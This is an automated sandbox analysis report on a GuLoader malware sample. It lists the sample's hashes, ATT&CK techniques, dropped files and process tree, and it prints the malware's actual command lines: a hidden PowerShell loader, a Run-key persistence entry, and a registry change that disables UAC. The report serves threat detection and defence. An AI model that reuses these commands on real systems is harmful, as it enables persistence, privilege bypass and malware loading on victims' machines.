guloader | 798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc

Analysis

max time kernel
149s
max time network
149s
platform
windows7_x64
resource
win7-20240611-en
resource tags

arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
submitted
29-06-2024 06:47

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General

Target

798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc_NeikiAnalytics.exe
Size

639KB
MD5

0609cbf05b1169cd11a37910df2d74c0
SHA1

7d2dd3c50535783bd6d2755c3fa9b9f810c12f13
SHA256

798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc
SHA512

d1874d83b1b1f6765af5806564cd039cdd0ea03d149c58bff9deccc8d7c1587c46e8681ca00c3ec14801bab23a9b984f9fc1e8438608d415571dadc7ab3de576
SSDEEP

6144:z9KOQS4B4GMSGJpFhaI27ySqUawlTFEHhq9/GtGOzx65MTOjbpUYpVslMDRkQZI:zsB4GOaJ6UrFh/GtGOzQ5MTOjb9pWeA

Score

10^/10

guloader downloader evasion execution persistence trojan

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
UAC bypass 3 TTPs 1 IoCs
evasion trojan

Bypass User Account Control
T1548.002

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Blocklisted process makes network request 59 IoCs

Processes:

powershell.exe

flow	pid	process
5	1928	powershell.exe
7	1928	powershell.exe
9	1928	powershell.exe
11	1928	powershell.exe
13	1928	powershell.exe
15	1928	powershell.exe
16	1928	powershell.exe
17	1928	powershell.exe
18	1928	powershell.exe
19	1928	powershell.exe
20	1928	powershell.exe
21	1928	powershell.exe
22	1928	powershell.exe
23	1928	powershell.exe
24	1928	powershell.exe
25	1928	powershell.exe
26	1928	powershell.exe
27	1928	powershell.exe
28	1928	powershell.exe
29	1928	powershell.exe
30	1928	powershell.exe
31	1928	powershell.exe
32	1928	powershell.exe
33	1928	powershell.exe
34	1928	powershell.exe
35	1928	powershell.exe
36	1928	powershell.exe
37	1928	powershell.exe
38	1928	powershell.exe
39	1928	powershell.exe
41	1928	powershell.exe
42	1928	powershell.exe
43	1928	powershell.exe
44	1928	powershell.exe
45	1928	powershell.exe
46	1928	powershell.exe
47	1928	powershell.exe
48	1928	powershell.exe
49	1928	powershell.exe
50	1928	powershell.exe
51	1928	powershell.exe
52	1928	powershell.exe
53	1928	powershell.exe
54	1928	powershell.exe
55	1928	powershell.exe
56	1928	powershell.exe
57	1928	powershell.exe
58	1928	powershell.exe
59	1928	powershell.exe
60	1928	powershell.exe
61	1928	powershell.exe
62	1928	powershell.exe
63	1928	powershell.exe
64	1928	powershell.exe
65	1928	powershell.exe
66	1928	powershell.exe
68	1928	powershell.exe
69	1928	powershell.exe
70	1928	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1928 powershell.exe

pid	process
1928	powershell.exe

Loads dropped DLL 4 IoCs

Processes:

798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc_NeikiAnalytics.exe

pid	process
1892	798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc_NeikiAnalytics.exe
1892	798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc_NeikiAnalytics.exe
1892	798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc_NeikiAnalytics.exe
1892	798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc_NeikiAnalytics.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2812790648-3157963462-487717889-1000\Software\Microsoft\Windows\CurrentVersion\Run\Fukssvansen = "%Satrappernes% -windowstyle minimized $Foxfishes205=(Get-ItemProperty -Path 'HKCU:\\Havnebassin\\').Afdmpedes189;%Satrappernes% ($Foxfishes205)"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

3 drive.google.com
5 drive.google.com
Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

Processes:

powershell.exe

pid process

1928 powershell.exe
1928 powershell.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

powershell.exe

pid process

1928 powershell.exe
Drops file in Windows directory 1 IoCs

Processes:

798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc_NeikiAnalytics.exe

description ioc process

File opened for modification C:\Windows\Fonts\anorakkerne.ini 798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc_NeikiAnalytics.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry key 1 TTPs 2 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exe

pid process

2128 reg.exe
1560 reg.exe
Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exe

pid process

1928 powershell.exe
1928 powershell.exe
1928 powershell.exe
1928 powershell.exe
1928 powershell.exe
1928 powershell.exe
1928 powershell.exe
1928 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1928 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid process

1928 powershell.exe

flow	ioc
3	drive.google.com
5	drive.google.com

pid	process
1928	powershell.exe
1928	powershell.exe

pid	process
1928	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\Fonts\anorakkerne.ini	798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc_NeikiAnalytics.exe

pid	process
2128	reg.exe
1560	reg.exe

pid	process
1928	powershell.exe
1928	powershell.exe
1928	powershell.exe
1928	powershell.exe
1928	powershell.exe
1928	powershell.exe
1928	powershell.exe
1928	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1928	powershell.exe

pid	process
1928	powershell.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc_NeikiAnalytics.exepowershell.execmd.execmd.exe

description	pid	process	target process
PID 1892 wrote to memory of 1928	1892	798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc_NeikiAnalytics.exe	powershell.exe
PID 1892 wrote to memory of 1928	1892	798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc_NeikiAnalytics.exe	powershell.exe
PID 1892 wrote to memory of 1928	1892	798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc_NeikiAnalytics.exe	powershell.exe
PID 1892 wrote to memory of 1928	1892	798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc_NeikiAnalytics.exe	powershell.exe
PID 1928 wrote to memory of 2992	1928	powershell.exe	cmd.exe
PID 1928 wrote to memory of 2992	1928	powershell.exe	cmd.exe
PID 1928 wrote to memory of 2992	1928	powershell.exe	cmd.exe
PID 1928 wrote to memory of 2992	1928	powershell.exe	cmd.exe
PID 2992 wrote to memory of 2128	2992	cmd.exe	reg.exe
PID 2992 wrote to memory of 2128	2992	cmd.exe	reg.exe
PID 2992 wrote to memory of 2128	2992	cmd.exe	reg.exe
PID 2992 wrote to memory of 2128	2992	cmd.exe	reg.exe
PID 1928 wrote to memory of 2256	1928	powershell.exe	cmd.exe
PID 1928 wrote to memory of 2256	1928	powershell.exe	cmd.exe
PID 1928 wrote to memory of 2256	1928	powershell.exe	cmd.exe
PID 1928 wrote to memory of 2256	1928	powershell.exe	cmd.exe
PID 2256 wrote to memory of 1560	2256	cmd.exe	reg.exe
PID 2256 wrote to memory of 1560	2256	cmd.exe	reg.exe
PID 2256 wrote to memory of 1560	2256	cmd.exe	reg.exe
PID 2256 wrote to memory of 1560	2256	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc_NeikiAnalytics.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1892

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Skufflerne=Get-Content 'C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Distanceblnderne.Hes';$Maalesteder=$Skufflerne.SubString(61079,3);.$Maalesteder($Skufflerne)"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1928

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fukssvansen" /t REG_EXPAND_SZ /d "%Satrappernes% -windowstyle minimized $Foxfishes205=(Get-ItemProperty -Path 'HKCU:\Havnebassin\').Afdmpedes189;%Satrappernes% ($Foxfishes205)"
3⤵
- Suspicious use of WriteProcessMemory
PID:2992

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fukssvansen" /t REG_EXPAND_SZ /d "%Satrappernes% -windowstyle minimized $Foxfishes205=(Get-ItemProperty -Path 'HKCU:\Havnebassin\').Afdmpedes189;%Satrappernes% ($Foxfishes205)"
4⤵
- Adds Run key to start application
- Modifies registry key
PID:2128

C:\Windows\SysWOW64\cmd.exe
/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
3⤵
- Suspicious use of WriteProcessMemory
PID:2256

C:\Windows\SysWOW64\reg.exe
C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
4⤵
- UAC bypass
- Modifies registry key
PID:1560

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads

C:\ProgramData\remcos\logs.dat
Filesize
144B

MD5
bdf0643e69b0f735955a3e8a26967b4f

SHA1
d0efb4f9ad55d20aa24cf9e0c31b6086df3ae88e

SHA256
febde7eaff4f7030a1adf8021e768a7cc45619cc734c1c6d697c79a6e0d5ee60

SHA512
f2654ac98384011def4434f8de8d807d475df5e9d662f661ede9dd2312e6fcdcda7e1659f7b3a8f82769cbabd5052900c3505e653804132e7a09d79b1d65623f

Download Submit
C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Distanceblnderne.Hes
Filesize
69KB

MD5
6a771e12b116ad2c03bccf6b01791e0c

SHA1
9d953184eebf637915aaa68f26781ed444927a9d

SHA256
71741f649be6fcc6fda9b6439afa7edee7fb356573a8fc4724e01524b6a4e3dc

SHA512
422e522dcd7c46ff3630a645045c1ccba49ad5d577a37d9bb54562c7abaf030bbd62086311a2c950c8a6f4c74e6435d247bd7487152056224e639a5bdec41c5d

Download Submit
C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Nonwelcome.Vol
Filesize
307KB

MD5
20b4d6b234775cb7b37ec559e365d939

SHA1
138a87eebc4daf86c42dd4acdbb5664b2b9658ed

SHA256
e8c8e71b804cc0c9adbcb6de8567e58f5faa32f6f921bca004a68cd5b423154f

SHA512
f43a369b6c1aff764dfd6f6763a348a2ef34d194353924917aebe661c81d816dd7a3b618984d99f09ac1d1610d54561be2c973ac7a3bd2aedec38adea895f096

Download Submit
C:\Users\Admin\Pictures\slukningen.lnk
Filesize
966B

MD5
a66543f76822f70c8b65e76165d6679b

SHA1
25216ad11ca90cedf03abd82211dd83f358e995b

SHA256
efecca6a0dd9ef02889bd44db7a4085fe1d57ef086732652f8828df9556ca007

SHA512
327d614961a6caa2261667768e3ce7d2bbf54270d3ca3a6a21678a87fd2f592571ccd60d4a1cb1f48ff6df67cd393672c51b7999000bde339d8268f806c8711d

Download Submit
\Users\Admin\AppData\Local\Temp\nso20CB.tmp\AdvSplash.dll
Filesize
6KB

MD5
6def2cf3daf850acdc1a3e7340a439c4

SHA1
95d0d26f60cd5af697502cd5e53a54913ab188fb

SHA256
3ec3cf21a99ab0533ec2c451df3b5542733f70b972089d5c321ad7ae3b87d175

SHA512
16b1cf4783284d4a1282c569f5c416c713b4b339efcd4d3948bdf7da2194c597bd732d07ba9fabafcab323ba8c8da68845d4435ab9d1916b1810087ee1f5c413

Download Submit
\Users\Admin\AppData\Local\Temp\nso20CB.tmp\BgImage.dll
Filesize
7KB

MD5
2bb17d45e5ad92053ce1e500408dd8a9

SHA1
f5d3a7ee6e28df532e9ce33976c92ff30a5665e4

SHA256
71ce676703dad028e4083e6b960b1ed89885877079d46d5021506eaa6d99db53

SHA512
efdcb476b9b9b5691fe6b9cd77ecbe48d50c6683da01fd51c6b428cc262528fb3dcd295abe28718321b2307b0e032fcb599588f1eb00a93fd9e6a1f7b322b41f

Download Submit
\Users\Admin\AppData\Local\Temp\nso20CB.tmp\UserInfo.dll
Filesize
4KB

MD5
8ef0e4eb7c89cdd2b552de746f5e2a53

SHA1
820f681e7cec409a02b194a487d1c8af1038acf0

SHA256
41293b9f6588e0fbdc8fcf2a9bd8e2b244cd5ff038fc13033378da337219c9dc

SHA512
a68533e8a19637d0d44219549b24baba0dc4824424842f125600fda3edcafc4bb6bb340d57a00815f262d82373b440d58d6e4e5b2ceb29bb3f6bc4cbde66c3c5

Download Submit
\Users\Admin\AppData\Local\Temp\nso20CB.tmp\nsExec.dll
Filesize
6KB

MD5
c129bc26a26be6f5816a03520bb37833

SHA1
18100042155f948301701744b131c516bf26ddb8

SHA256
d3694fa0503158194129d113fcc1c83177ff5a5f93d898ce0bcfe9ce12f06bf4

SHA512
dbe79859c41e00a6e951cee889e7f0de29a712792fb531662285a2d6e384884518c7d5d983894c185b3d31d81213d2477cf4576b0114d352b759fe07a1704e63

Download Submit
memory/1928-175-0x0000000073ED0000-0x000000007447B000-memory.dmp

Filesize
5.7MB

Download
memory/1928-174-0x0000000073ED0000-0x000000007447B000-memory.dmp

Filesize
5.7MB

Download
memory/1928-173-0x0000000073ED0000-0x000000007447B000-memory.dmp

Filesize
5.7MB

Download
memory/1928-172-0x0000000073ED0000-0x000000007447B000-memory.dmp

Filesize
5.7MB

Download
memory/1928-178-0x0000000073ED0000-0x000000007447B000-memory.dmp

Filesize
5.7MB

Download
memory/1928-171-0x0000000073ED1000-0x0000000073ED2000-memory.dmp

Filesize
4KB

Download
memory/1928-180-0x0000000073ED0000-0x000000007447B000-memory.dmp

Filesize
5.7MB

Download
memory/1928-182-0x0000000073ED0000-0x000000007447B000-memory.dmp

Filesize
5.7MB

Download
memory/1928-181-0x0000000006570000-0x000000000946A000-memory.dmp

Filesize
47.0MB

Download
memory/1928-203-0x0000000006570000-0x000000000946A000-memory.dmp

Filesize
47.0MB

Download